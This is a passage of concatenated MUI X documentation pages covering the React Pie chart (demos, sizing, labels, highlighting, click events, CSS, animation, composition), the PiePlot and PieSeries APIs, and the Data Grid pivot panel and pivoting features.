    </svg>
  );
}

export default function PieChartWithCustomLegendAndTooltip() {
  return (
    <PieChart
      series={[
        {
          data: [
            { value: 10, label: 'Circle', labelMarkType: 'circle' },
            {
              value: 15,
              label: 'Diamond',
              labelMarkType: HTMLDiamond,
            },
            { value: 20, label: 'Star', labelMarkType: SVGStar },
          ],
        },
      ]}
      width={200}
      height={200}
    />
  );
}

```

---

# Source: https://mui.com/x/api/charts/pie-plot.md

# PiePlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Pie](/x/react-charts/pie/)
- [Charts - Pie demos](/x/react-charts/pie-demo/)

## Import

```jsx
import { PiePlot } from '@mui/x-charts/PieChart';
// or
import { PiePlot } from '@mui/x-charts';
// or
import { PiePlot } from '@mui/x-charts-pro';
// or
import { PiePlot } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| onItemClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, pieItemIdentifier: PieItemIdentifier, item: DefaultizedPieValueType) => void` | - | No |  |
| skipAnimation | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| pieArc | `undefined` | - |  |
| pieArcLabel | `undefined` | - |  |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/PieChart/PiePlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/PieChart/PiePlot.tsx)

---

# Source: https://mui.com/x/api/charts/pie-series.md

# PieSeries API

## Import

```jsx
import { PieSeries } from '@mui/x-charts-premium'
// or
import { PieSeries } from '@mui/x-charts-pro'
// or
import { PieSeries } from '@mui/x-charts'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| data | `Readonly<TData[]>` | - | Yes |  |
| type | `'pie'` | - | Yes |  |
| arcLabel | `'formattedValue' \| 'label' \| 'value' \| ((item: Omit<DefaultizedPieValueType, 'label'> & { label?: string }) => string)` | - | No |  |
| arcLabelMinAngle | `number` | `0` | No |  |
| arcLabelRadius | `number \| string` | `(innerRadius - outerRadius) / 2` | No |  |
| color | `string` | - | No |  |
| colorGetter | `(data: ColorCallbackValue<TValue>) => string` | - | No |  |
| cornerRadius | `number` | `0` | No |  |
| cx | `number \| string` | `'50%'` | No |  |
| cy | `number \| string` | `'50%'` | No |  |
| endAngle | `number` | `360` | No |  |
| faded | `{ /** * Value added to the default `outerRadius`. * Can be negative. It is ignored if you provide a `faded.outerRadius` value. */ additionalRadius?: number innerRadius?: number outerRadius?: number cornerRadius?: number paddingAngle?: number arcLabelRadius?: number color?: string }` | - | No |  |
| highlighted | `{ /** * Value added to the default `outerRadius`. * Can be negative. It is ignored if you provide a `highlighted.outerRadius` value. */ additionalRadius?: number innerRadius?: number outerRadius?: number cornerRadius?: number paddingAngle?: number arcLabelRadius?: number color?: string }` | - | No |  |
| highlightScope | `HighlightScope` | - | No |  |
| id | `SeriesId` | - | No |  |
| innerRadius | `number \| string` | `0` | No |  |
| labelMarkType | `ChartsLabelMarkType` | - | No |  |
| outerRadius | `number \| string` | `'100%'` | No |  |
| paddingAngle | `number` | `0` | No |  |
| sortingValues | `ChartsPieSorting` | `'none'` | No |  |
| startAngle | `number` | `0` | No |  |
| valueFormatter | `SeriesValueFormatter<TValue>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/react-charts/pie.md

---
title: React Pie chart
productId: x-charts
components: PieArc, PieArcLabel, PieArcLabelPlot, PieArcPlot, PieChart, PiePlot, PieChartPro, ChartsWrapper
---

# Charts - Pie

Pie charts express portions of a whole, using arcs or angles within a circle.

## Overview

Pie charts are ideal for showing proportions of a whole.
They excel at visualizing how categories contribute to a total, making relative shares easy to compare at a glance.
Here are the basic requirements to create a pie chart:

- One categorical dimension (each category represented as a slice)
- One numerical metric representing the value or size of each slice (converted into percentage of the whole)

The pie chart below compares survival rates of passengers in different classes on the Titanic:

```tsx
import * as React from 'react';
import { PieChart, pieArcLabelClasses } from '@mui/x-charts/PieChart';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import { useDrawingArea } from '@mui/x-charts/hooks';
import { styled } from '@mui/material/styles';
import type { Theme } from '@mui/material/styles';

interface TitanicDatum {
  Class: '1st' | '2nd' | '3rd' | 'Crew';
  Survived: 'Yes' | 'No';
  Count: number;
}

interface ChartDatum {
  id: string;
  label: string;
  value: number;
  percentage: number;
  color: string;
}

type ClassType = '1st' | '2nd' | '3rd' | 'Crew';

// Convert hex color to rgba with opacity
const hexToRgba = (hex: string, alpha: number): string => {
  const r = parseInt(hex.slice(1, 3), 16);
  const g = parseInt(hex.slice(3, 5), 16);
  const b = parseInt(hex.slice(5, 7), 16);
  return `rgba(${r}, ${g}, ${b}, ${alpha})`;
};

// https://en.wikipedia.org/wiki/Passengers_of_the_Titanic#/media/File:Titanic_casualties.svg
const titanicData: TitanicDatum[] = [
  { Class: '1st', Survived: 'No', Count: 123 },
  { Class: '1st', Survived: 'Yes', Count: 202 },
  { Class: '2nd', Survived: 'No', Count: 167 },
  { Class: '2nd', Survived: 'Yes', Count: 118 },
  { Class: '3rd', Survived: 'No', Count: 528 },
  { Class: '3rd', Survived: 'Yes', Count: 178 },
  { Class: 'Crew', Survived: 'No', Count: 696 },
  { Class: 'Crew', Survived: 'Yes', Count: 212 },
];

const classes: ClassType[] = ['1st', '2nd', '3rd', 'Crew'];

const totalCount = titanicData.reduce(
  (acc: number, item: TitanicDatum) => acc + item.Count,
  0,
);

// Define colors for each class
const classColors: Record<ClassType, string> = {
  '1st': '#fa938e',
  '2nd': '#98bf45',
  '3rd': '#51cbcf',
  Crew: '#d397ff',
};

// Different opacity based on class
const opacityMap: Record<ClassType, number> = {
  '1st': 0.9,
  '2nd': 0.7,
  '3rd': 0.5,
  Crew: 0.3,
};

const classData: ChartDatum[] = classes.map((pClass: ClassType) => {
  const classTotal = titanicData
    .filter((item: TitanicDatum) => item.Class === pClass)
    .reduce((acc: number, item: TitanicDatum) => acc + item.Count, 0);
  return {
    id: pClass,
    label: `${pClass} Class:`,
    value: classTotal,
    percentage: (classTotal / totalCount) * 100,
    color: classColors[pClass],
  };
});

const classSurvivalData: ChartDatum[] = classes.flatMap((pClass: ClassType) => {
  const classTotal = classData.find((d: ChartDatum) => d.id === pClass)!.value ?? 0;
  const baseColor = classColors[pClass];
  return titanicData
    .filter((item: TitanicDatum) => item.Class === pClass)
    .sort((a: TitanicDatum, b: TitanicDatum) => (a.Survived > b.Survived ? 1 : -1))
    .map((item: TitanicDatum) => ({
      id: `${pClass}-${item.Survived}`,
      label: item.Survived,
      value: item.Count,
      percentage: (item.Count / classTotal) * 100,
      color: item.Survived === 'Yes' ? baseColor : `${baseColor}80`, // 80 is 50% opacity for 'No'
    }));
});

// Create a simplified dataset that groups all classes together for Yes/No
const survivalData: ChartDatum[] = [
  {
    id: 'Yes',
    label: 'Survived:',
    value: titanicData
      .filter((item: TitanicDatum) => item.Survived === 'Yes')
      .reduce((sum: number, item: TitanicDatum) => sum + item.Count, 0),
    percentage:
      (titanicData
        .filter((item: TitanicDatum) => item.Survived === 'Yes')
        .reduce((sum: number, item: TitanicDatum) => sum + item.Count, 0) /
        totalCount) *
      100,
    color: classColors['3rd'],
  },
  {
    id: 'No',
    label: 'Did not survive:',
    value: titanicData
      .filter((item: TitanicDatum) => item.Survived === 'No')
      .reduce((sum: number, item: TitanicDatum) => sum + item.Count, 0),
    percentage:
      (titanicData
        .filter((item: TitanicDatum) => item.Survived === 'No')
        .reduce((sum: number, item: TitanicDatum) => sum + item.Count, 0) /
        totalCount) *
      100,
    color: classColors['1st'],
  },
];

// Create dataset for class distribution by survival status (Yes first, then No)
const survivalClassData: ChartDatum[] = [...titanicData]
  .sort((a: TitanicDatum) => (a.Survived === 'Yes' ? -1 : 1))
  .map((item: TitanicDatum) => {
    const baseColor = survivalData.find(
      (d: ChartDatum) => d.id === item.Survived,
    )!.color;
    return {
      id: `${item.Class}-${item.Survived}`,
      label: `${item.Class} class:`,
      value: item.Count,
      percentage:
        (item.Count /
          (item.Survived === 'Yes'
            ? survivalData[0]!.value
            : survivalData[1]!.value)) *
        100,
      color: hexToRgba(baseColor, opacityMap[item.Class] || 1),
    };
  });

const StyledText = styled('text')(({ theme }: { theme: Theme }) => ({
  fill: theme.palette.text.primary,
  textAnchor: 'middle',
  dominantBaseline: 'central',
  fontSize: 20,
}));

interface PieCenterLabelProps {
  children: React.ReactNode;
}

function PieCenterLabel({ children }: PieCenterLabelProps): React.ReactElement {
  const { width, height, left, top } = useDrawingArea();
  return (
    <StyledText x={left + width / 2} y={top + height / 2}>
      {children}
    </StyledText>
  );
}

type ViewType = 'class' | 'survival';

export default function TitanicPie(): React.ReactElement {
  const [view, setView] = React.useState<ViewType>('class');
  const handleViewChange = (
    event: React.MouseEvent<HTMLElement>,
    newView: ViewType | null,
  ) => {
    if (newView !== null) {
      setView(newView);
    }
  };

  const innerRadius = 50;
  const middleRadius = 120;

  return (
    <Box sx={{ width: '100%', textAlign: 'center' }}>
      <Typography variant="h5" gutterBottom>
        Titanic survival statistics
      </Typography>
      <ToggleButtonGroup
        color="primary"
        size="small"
        value={view}
        exclusive
        onChange={handleViewChange}
      >
        <ToggleButton value="class">View by Class</ToggleButton>
        <ToggleButton value="survival">View by Survival</ToggleButton>
      </ToggleButtonGroup>
      <Box sx={{ display: 'flex', justifyContent: 'center', height: 400 }}>
        {view === 'class' ? (
          <PieChart
            series={[
              {
                innerRadius,
                outerRadius: middleRadius,
                data: classData,
                arcLabel: (item) =>
                  `${item.id} (${(item as any).percentage.toFixed(0)}%)`,
                valueFormatter: ({ value }) =>
                  `${value} out of ${totalCount} (${((value / totalCount) * 100).toFixed(0)}%)`,
                highlightScope: { fade: 'global', highlight: 'item' },
                highlighted: { additionalRadius: 2 },
                cornerRadius: 3,
              },
              {
                innerRadius: middleRadius,
                outerRadius: middleRadius + 20,
                data: classSurvivalData,
                arcLabel: (item) =>
                  `${item.label} (${(item as any).percentage.toFixed(0)}%)`,
                valueFormatter: ({ value }) =>
                  `${value} out of ${totalCount} (${((value / totalCount) * 100).toFixed(0)}%)`,
                arcLabelRadius: 160,
                highlightScope: { fade: 'global', highlight: 'item' },
                highlighted: { additionalRadius: 2 },
                cornerRadius: 3,
              },
            ]}
            sx={{
              [`& .${pieArcLabelClasses.root}`]: {
                fontSize: '12px',
              },
            }}
            hideLegend
          >
            <PieCenterLabel>Class</PieCenterLabel>
          </PieChart>
        ) : (
          <PieChart
            series={[
              {
                innerRadius,
                outerRadius: middleRadius,
                data: survivalData,
                arcLabel: (item) =>
                  `${item.id} (${(item as any).percentage.toFixed(0)}%)`,
                valueFormatter: ({ value }) =>
                  `${value} out of ${totalCount} (${((value / totalCount) * 100).toFixed(0)}%)`,
                highlightScope: { fade: 'global', highlight: 'item' },
                highlighted: { additionalRadius: 2 },
                cornerRadius: 3,
              },
              {
                innerRadius: middleRadius,
                outerRadius: middleRadius + 20,
                data: survivalClassData,
                arcLabel: (item) => {
                  const id = (item as any).id || '';
                  const percentage = (item as any).percentage || 0;
                  return `${id.split('-')[0]} (${percentage.toFixed(0)}%)`;
                },
                arcLabelRadius: 160,
                valueFormatter: ({ value }) =>
                  `${value} out of ${totalCount} (${((value / totalCount) * 100).toFixed(0)}%)`,
                highlightScope: { fade: 'global', highlight: 'item' },
                highlighted: { additionalRadius: 2 },
                cornerRadius: 3,
              },
            ]}
            sx={{
              [`& .${pieArcLabelClasses.root}`]: {
                fontSize: '12px',
              },
            }}
            hideLegend
          >
            <PieCenterLabel>Survived</PieCenterLabel>
          </PieChart>
        )}
      </Box>
    </Box>
  );
}

```

## Basics

Pie charts series must contain a `data` property containing an array of objects.
Each object corresponds to a slice of the pie.
It must contain a property `value` and can have other optional properties like `label`.

If you plan to update/reorder those data, you should add an `id` property which is used for `key` props.

```tsx
import { PieChart } from '@mui/x-charts/PieChart';

export default function BasicPie() {
  return (
    <PieChart
      series={[
        {
          data: [
            { id: 0, value: 10, label: 'series A' },
            { id: 1, value: 15, label: 'series B' },
            { id: 2, value: 20, label: 'series C' },
          ],
        },
      ]}
      width={200}
      height={200}
    />
  );
}

```

## Donut chart

A donut chart (or doughnut chart) is essentially a pie chart with a hollow center.

You can transform any pie chart into a donut chart by setting the `innerRadius` property to a value greater than 0.

```tsx
import { PieChart } from '@mui/x-charts/PieChart';

const data = [
  { label: 'Group A', value: 400, color: '#0088FE' },
  { label: 'Group B', value: 300, color: '#00C49F' },
  { label: 'Group C', value: 300, color: '#FFBB28' },
  { label: 'Group D', value: 200, color: '#FF8042' },
];

const settings = {
  margin: { right: 5 },
  width: 200,
  height: 200,
  hideLegend: true,
};

export default function DonutChart() {
  return (
    <PieChart
      series={[{ innerRadius: 50, outerRadius: 100, data, arcLabel: 'value' }]}
      {...settings}
    />
  );
}

```

## Colors

The pie colors can be customized in two ways.

1. You can provide a [color palette](/x/react-charts/styling/#color-palette). Each arc of the pie will be colored according to this palette.
2. You can provide a `color` property in `data` objects which overrides the palette.

```jsx
<PieChart
  colors={['red', 'blue', 'green']} // Use palette
  series={[
    {
      data: [
        { value: 10, color: 'orange' }, // Use color property
        // ...
      ],
    },
  ]}
/>
```

```tsx
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { PieChart } from '@mui/x-charts/PieChart';
import { platforms } from './webUsageStats';

const palette = ['lightcoral', 'slateblue'];

const colorPerItem = [
  { ...platforms[0], color: 'orange' },
  { ...platforms[1], color: 'gray' },
];

export default function PieColor() {
  return (
    <Stack direction="row" width="100%" textAlign="center" spacing={2}>
      <Box flexGrow={1}>
        <Typography>Default</Typography>
        <PieChart
          series={[
            {
              data: platforms,
            },
          ]}
          {...pieParams}
        />
      </Box>
      <Box flexGrow={1}>
        <Typography>Palette</Typography>
        <PieChart
          colors={palette}
          series={[
            {
              data: platforms,
            },
          ]}
          {...pieParams}
        />
      </Box>
      <Box flexGrow={1}>
        <Typography>Item</Typography>
        <PieChart
          series={[
            {
              data: colorPerItem,
            },
          ]}
          {...pieParams}
        />
      </Box>
    </Stack>
  );
}

const pieParams = {
  height: 200,
  margin: { right: 5 },
  hideLegend: true,
};

```

## Sizing

Pie series shape is described by multiple properties:

- `innerRadius` The radius between the center and the beginning of the arc. The default is set to 0.
- `outerRadius` The radius between the center and the end of the arc. The default is the largest value available in the drawing area.
- `arcLabelRadius` The radius between the center and the arc label.
- `paddingAngle` The angle (in degrees) between two arcs.
- `cornerRadius` Similar to the CSS `border-radius`.
- `startAngle`/`endAngle` The angle range of the pie chart. Values are given in degrees.
- `cx`/`cy` The center of the pie charts. By default the middle of the drawing area.

```tsx
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { PieChart } from '@mui/x-charts/PieChart';
import { desktopOS, valueFormatter } from './webUsageStats';

export default function PieShape() {
  return (
    <ChartsUsageDemo
      componentName="Pie shape"
      data={{
        innerRadius: { knob: 'number', defaultValue: 30 },
        outerRadius: { knob: 'number', defaultValue: 100 },
        paddingAngle: { knob: 'number', defaultValue: 5 },
        cornerRadius: { knob: 'number', defaultValue: 5 },
        startAngle: { knob: 'number', defaultValue: -45 },
        endAngle: { knob: 'number', defaultValue: 225 },
        cx: { knob: 'number', defaultValue: 150 },
        cy: { knob: 'number', defaultValue: 150 },
      }}
      renderDemo={(props) => (
        <PieChart
          series={[
            {
              ...props,
              data: desktopOS,
              valueFormatter,
            },
          ]}
          width={300}
          height={300}
          hideLegend
        />
      )}
      getCode={({ props }) => {
        return `import { PieChart } from '@mui/x-charts/PieChart';

<PieChart
  series={[
    {
      data: [ ... ],
      innerRadius: ${props.innerRadius},
      outerRadius: ${props.outerRadius},
      paddingAngle: ${props.paddingAngle},
      cornerRadius: ${props.cornerRadius},
      startAngle: ${props.startAngle},
      endAngle: ${props.endAngle},
      cx: ${props.cx},
      cy: ${props.cy},
    }
  ]}
/>`;
      }}
    />
  );
}

```

The following properties accept percentage string (for example `'50%'`).

- `innerRadius`/`outerRadius`/`arcLabelRadius` with `'100%'` equivalent to maximal radius fitting in the drawing area.
- `cx`, `cy` with `'100%'` equivalent to the drawing area width/height.

## Labels

You can display labels on the arcs.
To do so, the series should get `arcLabel` property.
It can either get a function that gets the object associated with the arc and returns the label.
Or you can pass one of the following values:

- `'value'` display the raw value of the arc.
- `'formattedValue'` display the returned value of `valueFormatter` for the arc.
- `'label'` display the `label` property of the arc if provided.

To avoid displaying labels on small arcs, you can provide `arcLabelMinAngle` property.
Arcs with angles smaller than the value (in deg) will not have labels.

```tsx
import { PieChart, pieArcLabelClasses } from '@mui/x-charts/PieChart';
import { desktopOS, valueFormatter } from './webUsageStats';

export default function PieArcLabel() {
  return (
    <PieChart
      series={[
        {
          arcLabel: (item) => `${item.value}%`,
          arcLabelMinAngle: 35,
          arcLabelRadius: '60%',
          ...data,
        },
      ]}
      sx={{
        [`& .${pieArcLabelClasses.root}`]: {
          fontWeight: 'bold',
        },
      }}
      {...size}
    />
  );
}

const size = {
  width: 200,
  height: 200,
};

const data = {
  data: desktopOS,
  valueFormatter,
};

```

## Highlight

Pie series can get `highlightScope` property to manage element highlighting.
Its behavior is described in the [dedicated page](/x/react-charts/highlighting/#highlighting-series).

When elements are highlighted or faded they can be customized with dedicated CSS classes: `.MuiPieArc-faded` and `.MuiPieArc-highlighted`.

CSS is well suited to modify the `color`, `stroke-width`, or `opacity`.
However, to modify the size of a pie arc, you must use the `highlighted` and `faded` properties, with which you can override any of the properties `innerRadius`, `outerRadius`, and `cornerRadius` when an arc is highlighted or faded.

If you do not want to provide absolute values, you can use `additionalRadius` which will be added to the `outerRadius`.
This value can be negative to reduce arc size.

```tsx
import { PieChart } from '@mui/x-charts/PieChart';
import { desktopOS, valueFormatter } from './webUsageStats';

export default function PieActiveArc() {
  return (
    <PieChart
      series={[
        {
          data: desktopOS,
          highlightScope: { fade: 'global', highlight: 'item' },
          faded: { innerRadius: 30, additionalRadius: -30, color: 'gray' },
          valueFormatter,
        },
      ]}
      height={200}
      width={200}
    />
  );
}

```

## Click event

Pie Chart provides an `onItemClick` handler for handling clicks on specific pie arcs.
It has the following signature.

```js
const onItemClick = (
  event, // The mouse event.
  params, // An object that identifies the clicked element.
) => {};
```

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import UndoOutlinedIcon from '@mui/icons-material/UndoOutlined';
import { PieChart } from '@mui/x-charts/PieChart';
import { HighlightedCode } from '@mui/docs/HighlightedCode';
import { PieItemIdentifier } from '@mui/x-charts/models';
import { mobileAndDesktopOS, platforms, valueFormatter } from './webUsageStats';

export default function PieClick() {
  const [itemData, setItemData] = React.useState<PieItemIdentifier>();

  return (
    <Stack
      direction={{ xs: 'column', md: 'row' }}
      spacing={{ xs: 0, md: 4 }}
      sx={{ width: '100%' }}
    >
      <Box sx={{ flexGrow: 1 }}>
        <PieChart
          series={series}
          width={300}
          height={300}
          hideLegend
          onItemClick={(event, d) => setItemData(d)}
        />{' '}
      </Box>

      <Stack direction="column" sx={{ width: { xs: '100%', md: '40%' } }}>
        <Box
          sx={{
            display: 'flex',
            justifyContent: 'space-between',
            alignItems: 'center',
          }}
        >
          <Typography>Click on the chart</Typography>
          <IconButton
            aria-label="reset"
            size="small"
            onClick={() => setItemData(undefined)}
          >
            <UndoOutlinedIcon fontSize="small" />
          </IconButton>
        </Box>
        <HighlightedCode
          code={`// Data from item click
${itemData ? JSON.stringify(itemData, null, 2) : '// The data will appear here'}
`}
          language="json"
          copyButtonHidden
        />
      </Stack>
    </Stack>
  );
}

const series = [
  {
    innerRadius: 0,
    outerRadius: 80,
    id: 'platform-series',
    data: platforms,
    valueFormatter,
  },
  {
    innerRadius: 100,
    outerRadius: 120,
    id: 'OS-series',
    data: mobileAndDesktopOS,
    valueFormatter,
  },
];

```

## CSS

You can customize the different elements rendered by a pie chart using CSS.

In the example below, the outer series is selected using the `data-series` attribute to reduce its opacity.

```tsx
import {
  pieArcClasses,
  PieChart,
  PieChartProps,
  pieClasses,
} from '@mui/x-charts/PieChart';
import { rainbowSurgePalette } from '@mui/x-charts/colorPalettes';
import { useTheme } from '@mui/material/styles';

export default function PieCSSStyling() {
  const theme = useTheme();
  const palette = rainbowSurgePalette(theme.palette.mode);
  const data1 = [
    { label: 'Group A', value: 400 },
    { label: 'Group B', value: 300 },
    { label: 'Group C', value: 300 },
    { label: 'Group D', value: 200 },
  ];
  const data2 = [
    { label: 'A1', value: 100, color: palette[0] },
    { label: 'A2', value: 300, color: palette[0] },
    { label: 'B1', value: 100, color: palette[1] },
    { label: 'B2', value: 80, color: palette[1] },
    { label: 'B3', value: 40, color: palette[1] },
    { label: 'B4', value: 30, color: palette[1] },
    { label: 'B5', value: 50, color: palette[1] },
    { label: 'C1', value: 100, color: palette[2] },
    { label: 'C2', value: 200, color: palette[2] },
    { label: 'D1', value: 150, color: palette[3] },
    { label: 'D2', value: 50, color: palette[3] },
  ];

  const settings = {
    series: [
      {
        innerRadius: 0,
        outerRadius: 80,
        data: data1,
        highlightScope: { fade: 'global', highlight: 'item' },
      },
      {
        id: 'outer',
        innerRadius: 100,
        outerRadius: 120,
        data: data2,
        highlightScope: { fade: 'global', highlight: 'item' },
      },
    ],
    height: 300,
    hideLegend: true,
  } satisfies PieChartProps;

  return (
    <PieChart
      {...settings}
      sx={{
        [`.${pieClasses.series}[data-series="outer"] .${pieArcClasses.root}`]: {
          opacity: 0.6,
        },
      }}
    />
  );
}

```

## Animation

Chart containers respect [`prefers-reduced-motion`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/prefers-reduced-motion), but you can also disable animations manually by setting the `skipAnimation` prop to `true`.

When `skipAnimation` is enabled, the chart renders without any animations.

```jsx
// For a single component chart
<PieChart skipAnimation />

// For a composed chart
<ChartContainer>
  <PiePlot skipAnimation />
</ChartContainer>
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Slider from '@mui/material/Slider';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import { PieChart } from '@mui/x-charts/PieChart';
import { mobileAndDesktopOS, valueFormatter } from './webUsageStats';

export default function PieAnimation() {
  const [radius, setRadius] = React.useState(50);
  const [itemNb, setItemNb] = React.useState(5);
  const [skipAnimation, setSkipAnimation] = React.useState(false);

  const handleItemNbChange = (event: Event, newValue: number | number[]) => {
    if (typeof newValue !== 'number') {
      return;
    }
    setItemNb(newValue);
  };
  const handleRadius = (event: Event, newValue: number | number[]) => {
    if (typeof newValue !== 'number') {
      return;
    }
    setRadius(newValue);
  };

  return (
    <Box sx={{ width: '100%' }}>
      <PieChart
        height={300}
        width={300}
        series={[
          {
            data: mobileAndDesktopOS.slice(0, itemNb),
            innerRadius: radius,
            arcLabel: (params) => params.label ?? '',
            arcLabelMinAngle: 20,
            valueFormatter,
          },
        ]}
        skipAnimation={skipAnimation}
      />
      <FormControlLabel
        checked={skipAnimation}
        control={
          <Checkbox onChange={(event) => setSkipAnimation(event.target.checked)} />
        }
        label="skipAnimation"
        labelPlacement="end"
      />
      <Typography id="input-item-number" gutterBottom>
        Number of items
      </Typography>
      <Slider
        value={itemNb}
        onChange={handleItemNbChange}
        valueLabelDisplay="auto"
        min={1}
        max={8}
        aria-labelledby="input-item-number"
      />
      <Typography id="input-radius" gutterBottom>
        Radius
      </Typography>
      <Slider
        value={radius}
        onChange={handleRadius}
        valueLabelDisplay="auto"
        min={15}
        max={100}
        aria-labelledby="input-radius"
      />
    </Box>
  );
}

```

## Composition

Use the `<ChartDataProvider />` to provide the `series` prop for composition.

In addition to the common chart components available for [composition](/x/react-charts/composition/), you can use the `<PiePlot />` component that renders the pie slices and their labels.

Here's how the Pie Chart is composed:

```jsx
<ChartDataProvider plugins={PIE_CHART_PLUGINS}>
  <ChartsWrapper>
    <ChartsLegend />
    <ChartsSurface>
      <PiePlot />
      <ChartsOverlay />
    </ChartsSurface>
    <ChartsTooltip trigger="item" />
  </ChartsWrapper>
</ChartDataProvider>
```

:::info
The `<ChartDataProvider />` accepts a [`plugins`](/x/react-charts/plugins/) prop.
This is done to remove cartesian-axis features which are useless for a pie chart, and interfere with the pie position.

For pro users, use the `PIE_CHART_PRO_PLUGINS` instead to activate the export feature.
:::

---

# Source: https://mui.com/x/api/data-grid/pivot-panel-trigger.md

# PivotPanelTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - Pivot Panel component 🚧

## Import

```jsx
import { PivotPanelTrigger } from '@mui/x-data-grid-premium/components';
// or
import { PivotPanelTrigger } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/pivotPanel/PivotPanelTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/pivotPanel/PivotPanelTrigger.tsx)

---

# Source: https://mui.com/x/react-data-grid/components/pivot-panel.md

---
title: Data Grid - Pivot Panel component
productId: x-data-grid
components: PivotPanelTrigger
packageName: '@mui/x-data-grid-premium'
githubLabel: 'scope: data grid'
---

# Data Grid - Pivot Panel component [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') 🚧

Customize the Data Grid's pivot panel.

:::warning
This component is incomplete.

Currently, the Pivot Panel Trigger is the only part of the Pivot Panel component available.
Future versions of the Pivot Panel component will make it possible to compose each of its parts to create a custom pivot panel.

:::

The pivot panel is part of the [pivoting feature](/x/react-data-grid/pivoting/) and is enabled by default when `showToolbar` is passed to the `<DataGridPremium />` component.

You can use the Pivot Panel Trigger and [Toolbar](/x/react-data-grid/components/toolbar/) components when you need to customize the pivot panel trigger, or when implementing a custom toolbar.

## Basic usage

The demo below shows how to add a pivot panel trigger to a custom toolbar.

```tsx
import {
  DataGridPremium,
  Toolbar,
  ToolbarButton,
  PivotPanelTrigger,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';
import Tooltip from '@mui/material/Tooltip';
import PivotTableChartIcon from '@mui/icons-material/PivotTableChart';

function CustomToolbar() {
  return (
    <Toolbar>
      <Tooltip title="Pivot">
        <PivotPanelTrigger
          render={(triggerProps, state) => (
            <ToolbarButton
              {...triggerProps}
              color={state.active ? 'primary' : 'default'}
            />
          )}
        >
          <PivotTableChartIcon fontSize="small" />
        </PivotPanelTrigger>
      </Tooltip>
    </Toolbar>
  );
}

export default function GridPivotPanelTrigger() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 10,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        loading={loading}
        slots={{ toolbar: CustomToolbar }}
        showToolbar
      />
    </div>
  );
}

```

## Anatomy

```tsx
import { PivotPanelTrigger } from '@mui/x-data-grid-premium';

<PivotPanelTrigger />;
```

### Pivot Panel Trigger

`<PivotPanelTrigger />` is a button that opens and closes the pivot panel.
It renders the `baseButton` slot.

## Custom elements

Use the `render` prop to replace default elements.
See [Components usage—Customization](/x/react-data-grid/components/usage/#customization) for more details.

## Accessibility

### ARIA

You must apply a text label or an `aria-label` attribute to the `<PivotPanelTrigger />`.


# PivotPanelTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - Pivot Panel component 🚧

## Import

```jsx
import { PivotPanelTrigger } from '@mui/x-data-grid-premium/components';
// or
import { PivotPanelTrigger } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/pivotPanel/PivotPanelTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/pivotPanel/PivotPanelTrigger.tsx)

---

# Source: https://mui.com/x/react-data-grid/server-side-data/pivoting.md

# Source: https://mui.com/x/react-data-grid/pivoting.md

---
title: Data Grid - Pivoting
---

# Data Grid - Pivoting [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Rearrange rows and columns to view data from multiple perspectives.

The Data Grid Premium's pivoting feature lets users transform the data in their grid by reorganizing rows and columns, creating dynamic cross-tabulations of data.
This makes it possible to analyze data from different angles and gain insights that would be difficult to see in the default grid view.

If you're new to the concept of pivoting, check out the [Understanding pivoting](/x/react-data-grid/pivoting-explained/) page to learn how it works through interactive examples.

:::warning
Pivoting performs certain computations and uses them to override corresponding props.
When pivot mode is active, the following props are ignored: `rows`, `columns`, `rowGroupingModel`, `aggregationModel`, `getAggregationPosition`, `columnVisibilityModel`, `columnGroupingModel`, `groupingColDef`, `headerFilters`, `disableRowGrouping`, and `disableAggregation`.
:::

:::info
This document covers client-side pivoting.
For pivoting on the server side, see [Server-side pivoting](/x/react-data-grid/server-side-data/pivoting/).
:::

## Quick start

Pivoting is enabled by default and can be accessed through the icon in the toolbar.
